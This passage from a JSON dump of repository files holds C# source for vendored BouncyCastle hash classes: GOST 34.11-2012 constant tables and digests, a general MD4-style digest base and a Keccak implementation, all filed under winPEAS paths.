0xDA49CC2CA9593DC4L,\n            0x1F5C34563E57A6BFL, 0x54D14F36A8568B82L, 0xAF7CDFE043F6419AL, 0xEA6A2685C943F8BCL,\n            0xE5DCBFB4D7E91D2BL, 0xB27ADDDE799D0520L, 0x6B443CAED6E6AB6DL, 0x7BAE91C9F61BE845L,\n            0x3EB868AC7CAE5163L, 0x11C7B65322E332A4L, 0xD23C1491B9A992D0L, 0x8FB5982E0311C7CAL,\n            0x70AC6428E0C9D4D8L, 0x895BC2960F55FCC5L, 0x76423E90EC8DEFD7L, 0x6FF0507EDE9E7267L,\n            0x3DCF45F07A8CC2EAL, 0x4AA06054941F5CB1L, 0x5810FB5BB0DEFD9CL, 0x5EFEA1E3BC9AC693L,\n            0x6EDD4B4ADC8003EBL, 0x741808F8E8B10DD2L, 0x145EC1B728859A22L, 0x28BC9F7350172944L,\n            0x270A06424EBDCCD3L, 0x972AEDF4331C2BF6L, 0x059977E40A66A886L, 0x2550302A4A812ED6L,\n            0xDD8A8DA0A7037747L, 0xC515F87A970E9B7BL, 0x3023EAA9601AC578L, 0xB7E3AA3A73FBADA6L,\n            0x0FB699311EAAE597L, 0x0000000000000000L, 0x310EF19D6204B4F4L, 0x229371A644DB6455L,\n            0x0DECAF591A960792L, 0x5CA4978BB8A62496L, 0x1C2B190A38753536L, 0x41A295B582CD602CL,\n            0x3279DCC16426277DL, 0xC1A194AA9F764271L, 0x139D803B26DFD0A1L, 0xAE51C4D441E83016L,\n            0xD813FA44AD65DFC1L, 0xAC0BF2BC45D4D213L, 0x23BE6A9246C515D9L, 0x49D74D08923DCF38L,\n            0x9D05032127D066E7L, 0x2F7FDEFF5E4D63C7L, 0xA47E2A0155247D07L, 0x99B16FF12FA8BFEDL,\n            0x4661D4398C972AAFL, 0xDFD0BBC8A33F9542L, 0xDCA79694A51D06CBL, 0xB020EBB67DA1E725L,\n            0xBA0F0563696DAA34L, 0xE4F1A480D5F76CA7L, 0xC438E34E9510EAF7L, 0x939E81243B64F2FCL,\n            0x8DEFAE46072D25CFL, 0x2C08F3A3586FF04EL, 0xD7A56375B3CF3A56L, 0x20C947CE40E78650L,\n            0x43F8A3DD86F18229L, 0x568B795EAC6A6987L, 0x8003011F1DBB225DL, 0xF53612D3F7145E03L,\n            0x189F75DA300DEC3CL, 0x9570DB9C3720C9F3L, 0xBB221E576B73DBB8L, 0x72F65240E4F536DDL,\n            0x443BE25188ABC8AAL, 0xE21FFE38D9B357A8L, 0xFD43CA6EE7E4F117L, 0xCAA3614B89A47EECL,\n            0xFE34E732E1C6629EL, 0x83742C431B99B1D4L, 0xCF3A16AF83C2D66AL, 0xAAE5A8044990E91CL,\n            0x26271D764CA3BD5FL, 0x91C4B74C3F5810F9L, 0x7C6DD045F841A2C6L, 0x7F1AFD19FE63314FL,\n            0xC8F957238D989CE9L, 0xA709075D5306EE8EL, 0x55FC5402AA48FA0EL, 0x48FA563C9023BEB4L,\n            0x65DFBEABCA523F76L, 0x6C877D22D8BCE1EEL, 0xCC4D3BF385E045E3L, 0xBEBB69B36115733EL,\n            0x10EAAD6720FD4328L, 0xB6CEB10E71E5DC2AL, 0xBDCC44EF6737E0B7L, 0x523F158EA412B08DL,\n            0x989C74C52DB6CE61L, 0x9BEB59992B945DE8L, 0x8A2CEFCA09776F4CL, 0xA3BD6B8D5B7E3784L,\n            0xEB473DB1CB5D8930L, 0xC3FBA2C29B4AA074L, 0x9C28181525CE176BL, 0x683311F2D0C438E4L,\n            0x5FD3BAD7BE84B71FL, 0xFC6ED15AE5FA809BL, 0x36CDB0116C5EFE77L, 0x29918447520958C8L,\n            0xA29070B959604608L, 0x53120EBAA60CC101L, 0x3A0C047C74D68869L, 0x691E0AC6D2DA4968L,\n            0x73DB4974E6EB4751L, 0x7A838AFDF40599C9L, 0x5A4ACD33B4E21F99L, 0x6046C94FC03497F0L,\n            0xE6AB92E8D1CB8EA2L, 0x3354C7F5663856F1L, 0xD93EE170AF7BAE4DL, 0x616BD27BC22AE67CL,\n            0x92B39A10397A8370L, 0xABC8B3304B8E9890L, 0xBF967287630B02B2L, 0x5B67D607B6FC6E15L\n        },\n       new ulong[] {\n            0xD031C397CE553FE6L, 0x16BA5B01B006B525L, 0xA89BADE6296E70C8L, 0x6A1F525D77D3435BL,\n            0x6E103570573DFA0BL, 0x660EFB2A17FC95ABL, 0x76327A9E97634BF6L, 0x4BAD9D6462458BF5L,\n            0xF1830CAEDBC3F748L, 0xC5C8F542669131FFL, 0x95044A1CDC48B0CBL, 0x892962DF3CF8B866L,\n            0xB0B9E208E930C135L, 0xA14FB3F0611A767CL, 0x8D2605F21C160136L, 0xD6B71922FECC549EL,\n            0x37089438A5907D8BL, 0x0B5DA38E5803D49CL, 0x5A5BCC9CEA6F3CBCL, 0xEDAE246D3B73FFE5L,\n            0xD2B87E0FDE22EDCEL, 0x5E54ABB1CA8185ECL, 0x1DE7F88FE80561B9L, 0xAD5E1A870135A08CL,\n            0x2F2ADBD665CECC76L, 0x5780B5A782F58358L, 0x3EDC8A2EEDE47B3FL, 0xC9D95C3506BEE70FL,\n            0x83BE111D6C4E05EEL, 0xA603B90959367410L, 0x103C81B4809FDE5DL, 0x2C69B6027D0C774AL,\n            0x399080D7D5C87953L, 0x09D41E16487406B4L, 0xCDD63B1826505E5FL, 0xF99DC2F49B0298E8L,\n            0x9CD0540A943CB67FL, 0xBCA84B7F891F17C5L, 0x723D1DB3B78DF2A6L, 0x78AA6E71E73B4F2EL,\n            0x1433E699A071670DL, 0x84F21BE454620782L, 0x98DF3327B4D20F2FL, 0xF049DCE2D3769E5CL,\n            0xDB6C60199656EB7AL, 0x648746B2078B4783L, 0x32CD23598DCBADCFL, 0x1EA4955BF0C7DA85L,\n            0xE9A143401B9D46B5L, 0xFD92A5D9BBEC21B8L, 0xC8138C790E0B8E1BL, 0x2EE00B9A6D7BA562L,\n            0xF85712B893B7F1FCL, 0xEB28FED80BEA949DL, 0x564A65EB8A40EA4CL, 0x6C9988E8474A2823L,\n            0x4535898B121D8F2DL, 0xABD8C03231ACCBF4L, 0xBA2E91CAB9867CBDL, 0x7960BE3DEF8E263AL,\n            0x0C11A977602FD6F0L, 0xCB50E1AD16C93527L, 0xEAE22E94035FFD89L, 0x2866D12F5DE2CE1AL,\n            0xFF1B1841AB9BF390L, 0x9F9339DE8CFE0D43L, 0x964727C8C48A0BF7L, 0x524502C6AAAE531CL,\n            0x9B9C5EF3AC10B413L, 0x4FA2FA4942AB32A5L, 0x3F165A62E551122BL, 0xC74148DA76E6E3D7L,\n            0x924840E5E464B2A7L, 0xD372AE43D69784DAL, 0x233B72A105E11A86L, 0xA48A04914941A638L,\n            0xB4B68525C9DE7865L, 0xDDEABAACA6CF8002L, 0x0A9773C250B6BD88L, 0xC284FFBB5EBD3393L,\n            0x8BA0DF472C8F6A4EL, 0x2AEF6CB74D951C32L, 0x427983722A318D41L, 0x73F7CDFFBF389BB2L,\n            0x074C0AF9382C026CL, 0x8A6A0F0B243A035AL, 0x6FDAE53C5F88931FL, 0xC68B98967E538AC3L,\n            0x44FF59C71AA8E639L, 0xE2FCE0CE439E9229L, 0xA20CDE2479D8CD40L, 0x19E89FA2C8EBD8E9L,\n            0xF446BBCFF398270CL, 0x43B3533E2284E455L, 0xD82F0DCD8E945046L, 0x51066F12B26CE820L,\n            0xE73957AF6BC5426DL, 0x081ECE5A40C16FA0L, 0x3B193D4FC5BFAB7BL, 0x7FE66488DF174D42L,\n            0x0E9814EF705804D8L, 0x8137AC857C39D7C6L, 0xB1733244E185A821L, 0x695C3F896F11F867L,\n            0xF6CF0657E3EFF524L, 0x1AABF276D02963D5L, 0x2DA3664E75B91E5EL, 0x0289BD981077D228L,\n            0x90C1FD7DF413608FL, 0x3C5537B6FD93A917L, 0xAA12107E3919A2E0L, 0x0686DAB530996B78L,\n            0xDAA6B0559EE3826EL, 0xC34E2FF756085A87L, 0x6D5358A44FFF4137L, 0xFC587595B35948ACL,\n            0x7CA5095CC7D5F67EL, 0xFB147F6C8B754AC0L, 0xBFEB26AB91DDACF9L, 0x6896EFC567A49173L,\n            0xCA9A31E11E7C5C33L, 0xBBE44186B13315A9L, 0x0DDB793B689ABFE4L, 0x70B4A02BA7FA208EL,\n            0xE47A3A7B7307F951L, 0x8CECD5BE14A36822L, 0xEEED49B923B144D9L, 0x17708B4DB8B3DC31L,\n            0x6088219F2765FED3L, 0xB3FA8FDCF1F27A09L, 0x910B2D31FCA6099BL, 0x0F52C4A378ED6DCCL,\n            0x50CCBF5EBAD98134L, 0x6BD582117F662A4FL, 0x94CE9A50D4FDD9DFL, 0x2B25BCFB45207526L,\n            0x67C42B661F49FCBFL, 0x492420FC723259DDL, 0x03436DD418C2BB3CL, 0x1F6E4517F872B391L,\n            0xA08563BC69AF1F68L, 0xD43EA4BAEEBB86B6L, 0x01CAD04C08B56914L, 0xAC94CACB0980C998L,\n            0x54C3D8739A373864L, 0x26FEC5C02DBACAC2L, 0xDEA9D778BE0D3B3EL, 0x040F672D20EEB950L,\n            0xE5B0EA377BB29045L, 0xF30AB136CBB42560L, 0x62019C0737122CFBL, 0xE86B930C13282FA1L,\n            0xCC1CEB542EE5374BL, 0x538FD28AA21B3A08L, 0x1B61223AD89C0AC1L, 0x36C24474AD25149FL,\n            0x7A23D3E9F74C9D06L, 0xBE21F6E79968C5EDL, 0xCF5F868036278C77L, 0xF705D61BEB5A9C30L,\n            0x4D2B47D152DCE08DL, 0x5F9E7BFDC234ECF8L, 0x247778583DCD18EAL, 0x867BA67C4415D5AAL,\n            0x4CE1979D5A698999L, 0x0000000000000000L, 0xEC64F42133C696F1L, 0xB57C5569C16B1171L,\n            0xC1C7926F467F88AFL, 0x654D96FE0F3E2E97L, 0x15F936D5A8C40E19L, 0xB8A72C52A9F1AE95L,\n            0xA9517DAA21DB19DCL, 0x58D27104FA18EE94L, 0x5918A148F2AD8780L, 0x5CDD1629DAF657C4L,\n            0x8274C15164FB6CFAL, 0xD1FB13DBC6E056F2L, 0x7D6FD910CF609F6AL, 0xB63F38BDD9A9AA4DL,\n            0x3D9FE7FAF526C003L, 0x74BBC706871499DEL, 0xDF630734B6B8522AL, 0x3AD3ED03CD0AC26FL,\n            0xFADEAF2083C023D4L, 0xC00D42234ECAE1BBL, 0x8538CBA85CD76E96L, 0xC402250E6E2458EBL,\n            0x47BC3413026A5D05L, 0xAFD7A71F114272A4L, 0x978DF784CC3F62E3L, 0xB96DFC1EA144C781L,\n            0x21B2CF391596C8AEL, 0x318E4E8D950916F3L, 0xCE9556CC3E92E563L, 0x385A509BDD7D1047L,\n            0x358129A0B5E7AFA3L, 0xE6F387E363702B79L, 0xE0755D5653E94001L, 0x7BE903A5FFF9F412L,\n            0x12B53C2C90E80C75L, 0x3307F315857EC4DBL, 0x8FAFB86A0C61D31EL, 0xD9E5DD8186213952L,\n            0x77F8AAD29FD622E2L, 0x25BDA814357871FEL, 0x7571174A8FA1F0CAL, 0x137FEC60985D6561L,\n            0x30449EC19DBC7FE7L, 0xA540D4DD41F4CF2CL, 0xDC206AE0AE7AE916L, 0x5B911CD0E2DA55A8L,\n            0xB2305F90F947131DL, 0x344BF9ECBD52C6B7L, 0x5D17C665D2433ED0L, 0x18224FEEC05EB1FDL,\n            0x9E59E992844B6457L, 0x9A568EBFA4A5DD07L, 0xA3C60E68716DA454L, 0x7E2CB4C4D7A22456L,\n            0x87B176304CA0BCBEL, 0x413AEEA632F3367DL, 0x9915E36BBC67663BL, 0x40F03EEA3A465F69L,\n            0x1C2D28C3E0B008ADL, 0x4E682A054A1E5BB1L, 0x05C5B761285BD044L, 0xE1BF8D1A5B5C2915L,\n            0xF2C0617AC3014C74L, 0xB7F5E8F1D11CC359L, 0x63CB4C4B3FA745EFL, 0x9D1A84469C89DF6BL,\n            0xE33630824B2BFB3DL, 0xD5F474F6E60EEFA2L, 0xF58C6B83FB2D4E18L, 0x4676E45F0ADF3411L,\n            0x20781F751D23A1BAL, 0xBD629B3381AA7ED1L, 0xAE1D775319F71BB0L, 0xFED1C80DA32E9A84L,\n            0x5509083F92825170L, 0x29AC01635557A70EL, 0xA7C9694551831D04L, 0x8E65682604D4BA0AL,\n            0x11F651F8882AB749L, 0xD77DC96EF6793D8AL, 0xEF2799F52B042DCDL, 0x48EEF0B07A8730C9L,\n            0x22F1A2ED0D547392L, 0x6142F1D32FD097C7L, 0x4A674D286AF0E2E1L, 0x80FD7CC9748CBED2L,\n            0x717E7067AF4F499AL, 0x938290A9ECD1DBB3L, 0x88E3B293344DD172L, 0x2734158C250FA3D6L\n        }\n    };\n\n\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/GOST3411_2012_256Digest.cs",
    "content": "﻿using System;\nusing winPEAS._3rdParty.BouncyCastle.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.digests\n{\n    public class Gost3411_2012_256Digest : Gost3411_2012Digest\n    {\n        private readonly static byte[] IV = {\n            0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,\n            0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,\n            0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,\n            0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,\n            0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,\n            0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,\n            0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,\n            0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01\n        };\n\n        public override string AlgorithmName\n        {\n            get { return \"GOST3411-2012-256\"; }\n        }\n\n        public Gost3411_2012_256Digest() : base(IV)\n        {\n\n        }\n\n        public Gost3411_2012_256Digest(Gost3411_2012_256Digest other) : base(IV)\n        {\n            Reset(other);\n        }\n\n        public override int GetDigestSize()\n        {\n            return 32;\n        }\n\n        public override int DoFinal(byte[] output, int outOff)\n        {\n\t\t\tbyte[] result = new byte[64];\n\t\t\tbase.DoFinal(result, 0);\n\n\t\t\tArray.Copy(result, 32, output, outOff, 32);\n\n\t\t\treturn 32;\n        }\n\n        public override IMemoable Copy()\n        {\n\t\t\treturn new Gost3411_2012_256Digest(this);\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/GOST3411_2012_512Digest.cs",
    "content": "﻿using winPEAS._3rdParty.BouncyCastle.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.digests\n{\n    public class Gost3411_2012_512Digest:Gost3411_2012Digest\n    {\n\t\tprivate readonly static byte[] IV = {\n\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00\n\t};\n\n\t\tpublic override string AlgorithmName\n\t\t{\n\t\t\tget { return \"GOST3411-2012-512\"; }\n\t\t}\n\n        public Gost3411_2012_512Digest():base(IV)\n        {\n        }\n\n\t\tpublic Gost3411_2012_512Digest(Gost3411_2012_512Digest other) : base(IV)\n\t\t{\n            Reset(other);\n        }\n\n        public override int GetDigestSize()\n        {\n            return 64;\n        }\n\n\t\tpublic override IMemoable Copy()\n\t\t{\n\t\t\treturn new Gost3411_2012_512Digest(this);\n\t\t}\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/GeneralDigest.cs",
    "content": "using System;\nusing winPEAS._3rdParty.BouncyCastle.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.digests\n{\n    /**\n    * base implementation of MD4 family style digest as outlined in\n    * \"Handbook of Applied Cryptography\", pages 344 - 347.\n    */\n    public abstract class GeneralDigest\n\t\t: IDigest, IMemoable\n    {\n        private const int BYTE_LENGTH = 64;\n\n        private byte[]  xBuf;\n        private int     xBufOff;\n\n        private long    byteCount;\n\n        internal GeneralDigest()\n        {\n            xBuf = new byte[4];\n        }\n\n        internal GeneralDigest(GeneralDigest t)\n\t\t{\n\t\t\txBuf = new byte[t.xBuf.Length];\n\t\t\tCopyIn(t);\n\t\t}\n\n\t\tprotected void CopyIn(GeneralDigest t)\n\t\t{\n            Array.Copy(t.xBuf, 0, xBuf, 0, t.xBuf.Length);\n\n            xBufOff = t.xBufOff;\n            byteCount = t.byteCount;\n        }\n\n        public void Update(byte input)\n        {\n            xBuf[xBufOff++] = input;\n\n            if (xBufOff == xBuf.Length)\n            {\n                ProcessWord(xBuf, 0);\n                xBufOff = 0;\n            }\n\n            byteCount++;\n        }\n\n        public void BlockUpdate(\n            byte[]  input,\n            int     inOff,\n            int     length)\n        {\n            length = System.Math.Max(0, length);\n\n            //\n            // fill the current word\n            //\n            int i = 0;\n            if (xBufOff != 0)\n            {\n                while (i < length)\n                {\n                    xBuf[xBufOff++] = input[inOff + i++];\n                    if (xBufOff == 4)\n                    {\n                        ProcessWord(xBuf, 0);\n                        xBufOff = 0;\n                        break;\n                    }\n                }\n            }\n\n            //\n            // process whole words.\n            //\n            int limit = ((length - i) & ~3) + i;\n            for (; i < limit; i += 4)\n            {\n                ProcessWord(input, inOff + i);\n            }\n\n            //\n            // load in the remainder.\n            //\n            while (i < length)\n            {\n                xBuf[xBufOff++] = input[inOff + i++];\n            }\n\n            byteCount += length;\n        }\n\n        public void Finish()\n        {\n            long    bitLength = (byteCount << 3);\n\n            //\n            // add the pad bytes.\n            //\n            Update((byte)128);\n\n            while (xBufOff != 0) Update((byte)0);\n            ProcessLength(bitLength);\n            ProcessBlock();\n        }\n\n        public virtual void Reset()\n        {\n            byteCount = 0;\n            xBufOff = 0;\n\t\t\tArray.Clear(xBuf, 0, xBuf.Length);\n        }\n\n\t\tpublic int GetByteLength()\n\t\t{\n\t\t\treturn BYTE_LENGTH;\n\t\t}\n\n\t\tinternal abstract void ProcessWord(byte[] input, int inOff);\n        internal abstract void ProcessLength(long bitLength);\n        internal abstract void ProcessBlock();\n        public abstract string AlgorithmName { get; }\n\t\tpublic abstract int GetDigestSize();\n        public abstract int DoFinal(byte[] output, int outOff);\n\t\tpublic abstract IMemoable Copy();\n\t\tpublic abstract void Reset(IMemoable t);\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/KeccakDigest.cs",
    "content": "﻿using System;\nusing System.Diagnostics;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\nusing winPEAS._3rdParty.BouncyCastle.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.digests\n{\n    /// <summary>\n    /// Implementation of Keccak based on following KeccakNISTInterface.c from http://keccak.noekeon.org/\n    /// </summary>\n    /// <remarks>\n    /// Following the naming conventions used in the C source code to enable easy review of the implementation.\n    /// </remarks>\n    public class KeccakDigest\n        : IDigest, IMemoable\n    {\n        private static readonly ulong[] KeccakRoundConstants = new ulong[]{\n            0x0000000000000001UL, 0x0000000000008082UL, 0x800000000000808aUL, 0x8000000080008000UL,\n            0x000000000000808bUL, 0x0000000080000001UL, 0x8000000080008081UL, 0x8000000000008009UL,\n            0x000000000000008aUL, 0x0000000000000088UL, 0x0000000080008009UL, 0x000000008000000aUL,\n            0x000000008000808bUL, 0x800000000000008bUL, 0x8000000000008089UL, 0x8000000000008003UL,\n            0x8000000000008002UL, 0x8000000000000080UL, 0x000000000000800aUL, 0x800000008000000aUL,\n            0x8000000080008081UL, 0x8000000000008080UL, 0x0000000080000001UL, 0x8000000080008008UL\n        };\n\n        private ulong[] state = new ulong[25];\n        protected byte[] dataQueue = new byte[192];\n        protected int rate;\n        protected int bitsInQueue;\n        protected int fixedOutputLength;\n        protected bool squeezing;\n\n        public KeccakDigest()\n            : this(288)\n        {\n        }\n\n        public KeccakDigest(int bitLength)\n        {\n            Init(bitLength);\n        }\n\n        public KeccakDigest(KeccakDigest source)\n        {\n            CopyIn(source);\n        }\n\n        private void CopyIn(KeccakDigest source)\n        {\n            Array.Copy(source.state, 0, this.state, 0, source.state.Length);\n            Array.Copy(source.dataQueue, 0, this.dataQueue, 0, source.dataQueue.Length);\n            this.rate = source.rate;\n            this.bitsInQueue = source.bitsInQueue;\n            this.fixedOutputLength = source.fixedOutputLength;\n            this.squeezing = source.squeezing;\n        }\n\n        public virtual string AlgorithmName\n        {\n            get { return \"Keccak-\" + fixedOutputLength; }\n        }\n\n        public virtual int GetDigestSize()\n        {\n            return fixedOutputLength >> 3;\n        }\n\n        public virtual void Update(byte input)\n        {\n            Absorb(input);\n        }\n\n        public virtual void BlockUpdate(byte[] input, int inOff, int len)\n        {\n            Absorb(input, inOff, len);\n        }\n\n        public virtual int DoFinal(byte[] output, int outOff)\n        {\n            Squeeze(output, outOff, fixedOutputLength);\n\n            Reset();\n\n            return GetDigestSize();\n        }\n\n        /*\n         * TODO Possible API change to support partial-byte suffixes.\n         */\n        protected virtual int DoFinal(byte[] output, int outOff, byte partialByte, int partialBits)\n        {\n            if (partialBits > 0)\n            {\n                AbsorbBits(partialByte, partialBits);\n            }\n\n            Squeeze(output, outOff, fixedOutputLength);\n\n            Reset();\n\n            return GetDigestSize();\n        }\n\n        public virtual void Reset()\n        {\n            Init(fixedOutputLength);\n        }\n\n        /**\n         * Return the size of block that the compression function is applied to in bytes.\n         *\n         * @return internal byte length of a block.\n         */\n        public virtual int GetByteLength()\n        {\n            return rate >> 3;\n        }\n\n        private void Init(int bitLength)\n        {\n            switch (bitLength)\n            {\n                case 128:\n                case 224:\n                case 256:\n                case 288:\n                case 384:\n                case 512:\n                    InitSponge(1600 - (bitLength << 1));\n                    break;\n                default:\n                    throw new ArgumentException(\"must be one of 128, 224, 256, 288, 384, or 512.\", \"bitLength\");\n            }\n        }\n\n        private void InitSponge(int rate)\n        {\n            if (rate <= 0 || rate >= 1600 || (rate & 63) != 0)\n                throw new InvalidOperationException(\"invalid rate value\");\n\n            this.rate = rate;\n            Array.Clear(state, 0, state.Length);\n            Arrays.Fill(this.dataQueue, (byte)0);\n            this.bitsInQueue = 0;\n            this.squeezing = false;\n            this.fixedOutputLength = (1600 - rate) >> 1;\n        }\n\n        protected void Absorb(byte data)\n        {\n            if ((bitsInQueue & 7) != 0)\n                throw new InvalidOperationException(\"attempt to absorb with odd length queue\");\n            if (squeezing)\n                throw new InvalidOperationException(\"attempt to absorb while squeezing\");\n\n            dataQueue[bitsInQueue >> 3] = data;\n            if ((bitsInQueue += 8) == rate)\n            {\n                KeccakAbsorb(dataQueue, 0);\n                bitsInQueue = 0;\n            }\n        }\n\n        protected void Absorb(byte[] data, int off, int len)\n        {\n            if ((bitsInQueue & 7) != 0)\n                throw new InvalidOperationException(\"attempt to absorb with odd length queue\");\n            if (squeezing)\n                throw new InvalidOperationException(\"attempt to absorb while squeezing\");\n\n            int bytesInQueue = bitsInQueue >> 3;\n            int rateBytes = rate >> 3;\n\n            int available = rateBytes - bytesInQueue;\n            if (len < available)\n            {\n                Array.Copy(data, off, dataQueue, bytesInQueue, len);\n                this.bitsInQueue += len << 3;\n                return;\n            }\n\n            int count = 0;\n            if (bytesInQueue > 0)\n            {\n                Array.Copy(data, off, dataQueue, bytesInQueue, available);\n                count += available;\n                KeccakAbsorb(dataQueue, 0);\n            }\n\n            int remaining;\n            while ((remaining = (len - count)) >= rateBytes)\n            {\n                KeccakAbsorb(data, off + count);\n                count += rateBytes;\n            }\n\n            Array.Copy(data, off + count, dataQueue, 0, remaining);\n            this.bitsInQueue = remaining << 3;\n        }\n\n        protected void AbsorbBits(int data, int bits)\n        {\n            if (bits < 1 || bits > 7)\n                throw new ArgumentException(\"must be in the range 1 to 7\", \"bits\");\n            if ((bitsInQueue & 7) != 0)\n                throw new InvalidOperationException(\"attempt to absorb with odd length queue\");\n            if (squeezing)\n                throw new InvalidOperationException(\"attempt to absorb while squeezing\");\n\n            int mask = (1 << bits) - 1;\n            dataQueue[bitsInQueue >> 3] = (byte)(data & mask);\n\n            // NOTE: After this, bitsInQueue is no longer a multiple of 8, so no more absorbs will work\n            bitsInQueue += bits;\n        }\n\n        private void PadAndSwitchToSqueezingPhase()\n        {\n            Debug.Assert(bitsInQueue < rate);\n\n            dataQueue[bitsInQueue >> 3] |= (byte)(1 << (bitsInQueue & 7));\n\n            if (++bitsInQueue == rate)\n            {\n                KeccakAbsorb(dataQueue, 0);\n            }\n            else\n            {\n                int full = bitsInQueue >> 6, partial = bitsInQueue & 63;\n                int off = 0;\n                for (int i = 0; i < full; ++i)\n                {\n                    state[i] ^= Pack.LE_To_UInt64(dataQueue, off);\n                    off += 8;\n                }\n                if (partial > 0)\n                {\n                    ulong mask = (1UL << partial) - 1UL;\n                    state[full] ^= Pack.LE_To_UInt64(dataQueue, off) & mask;\n                }\n            }\n\n            state[(rate - 1) >> 6] ^= (1UL << 63);\n\n            bitsInQueue = 0;\n            squeezing = true;\n        }\n\n        protected void Squeeze(byte[] output, int offset, long outputLength)\n        {\n            if (!squeezing)\n            {\n                PadAndSwitchToSqueezingPhase();\n            }\n            if ((outputLength & 7L) != 0L)\n                throw new InvalidOperationException(\"outputLength not a multiple of 8\");\n\n            long i = 0;\n            while (i < outputLength)\n            {\n                if (bitsInQueue == 0)\n                {\n                    KeccakExtract();\n                }\n                int partialBlock = (int)System.Math.Min((long)bitsInQueue, outputLength - i);\n                Array.Copy(dataQueue, (rate - bitsInQueue) >> 3, output, offset + (int)(i >> 3), partialBlock >> 3);\n                bitsInQueue -= partialBlock;\n                i += partialBlock;\n            }\n        }\n\n        private void KeccakAbsorb(byte[] data, int off)\n        {\n            int count = rate >> 6;\n            for (int i = 0; i < count; ++i)\n            {\n                state[i] ^= Pack.LE_To_UInt64(data, off);\n                off += 8;\n            }\n\n            KeccakPermutation();\n        }\n\n        private void KeccakExtract()\n        {\n            KeccakPermutation();\n\n            Pack.UInt64_To_LE(state, 0, rate >> 6, dataQueue, 0);\n\n            this.bitsInQueue = rate;\n        }\n\n        private void KeccakPermutation()\n        {\n            ulong[] A = state;\n\n            ulong a00 = A[ 0], a01 = A[ 1], a02 = A[ 2], a03 = A[ 3], a04 = A[ 4];\n            ulong a05 = A[ 5], a06 = A[ 6], a07 = A[ 7], a08 = A[ 8], a09 = A[ 9];\n            ulong a10 = A[10], a11 = A[11], a12 = A[12], a13 = A[13], a14 = A[14];\n            ulong a15 = A[15], a16 = A[16], a17 = A[17], a18 = A[18], a19 = A[19];\n            ulong a20 = A[20], a21 = A[21], a22 = A[22], a23 = A[23], a24 = A[24];\n\n            for (int i = 0; i < 24; i++)\n            {\n                // theta\n                ulong c0 = a00 ^ a05 ^ a10 ^ a15 ^ a20;\n                ulong c1 = a01 ^ a06 ^ a11 ^ a16 ^ a21;\n                ulong c2 = a02 ^ a07 ^ a12 ^ a17 ^ a22;\n                ulong c3 = a03 ^ a08 ^ a13 ^ a18 ^ a23;\n                ulong c4 = a04 ^ a09 ^ a14 ^ a19 ^ a24;\n\n                ulong d1 = (c1 << 1 | c1 >> -1) ^ c4;\n                ulong d2 = (c2 << 1 | c2 >> -1) ^ c0;\n                ulong d3 = (c3 << 1 | c3 >> -1) ^ c1;\n                ulong d4 = (c4 << 1 | c4 >> -1) ^ c2;\n                ulong d0 = (c0 << 1 | c0 >> -1) ^ c3;\n\n                a00 ^= d1; a05 ^= d1; a10 ^= d1; a15 ^= d1; a20 ^= d1;\n                a01 ^= d2; a06 ^= d2; a11 ^= d2; a16 ^= d2; a21 ^= d2;\n                a02 ^= d3; a07 ^= d3; a12 ^= d3; a17 ^= d3; a22 ^= d3;\n                a03 ^= d4; a08 ^= d4; a13 ^= d4; a18 ^= d4; a23 ^= d4;\n                a04 ^= d0; a09 ^= d0; a14 ^= d0; a19 ^= d0; a24 ^= d0;\n\n                // rho/pi\n                c1  = a01 <<  1 | a01 >> 63;\n                a01 = a06 << 44 | a06 >> 20;\n                a06 = a09 << 20 | a09 >> 44;\n                a09 = a22 << 61 | a22 >>  3;\n                a22 = a14 << 39 | a14 >> 25;\n                a14 = a20 << 18 | a20 >> 46;\n                a20 = a02 << 62 | a02 >>  2;\n                a02 = a12 << 43 | a12 >> 21;\n                a12 = a13 << 25 | a13 >> 39;\n                a13 = a19 <<  8 | a19 >> 56;\n                a19 = a23 << 56 | a23 >>  8;\n                a23 = a15 << 41 | a15 >> 23;\n                a15 = a04 << 27 | a04 >> 37;\n                a04 = a24 << 14 | a24 >> 50;\n                a24 = a21 <<  2 | a21 >> 62;\n                a21 = a08 << 55 | a08 >>  9;\n                a08 = a16 << 45 | a16 >> 19;\n                a16 = a05 << 36 | a05 >> 28;\n                a05 = a03 << 28 | a03 >> 36;\n                a03 = a18 << 21 | a18 >> 43;\n                a18 = a17 << 15 | a17 >> 49;\n                a17 = a11 << 10 | a11 >> 54;\n                a11 = a07 <<  6 | a07 >> 58;\n                a07 = a10 <<  3 | a10 >> 61;\n                a10 = c1;\n\n                // chi\n                c0 = a00 ^ (~a01 & a02);\n                c1 = a01 ^ (~a02 & a03);\n                a02 ^= ~a03 & a04;\n                a03 ^= ~a04 & a00;\n                a04 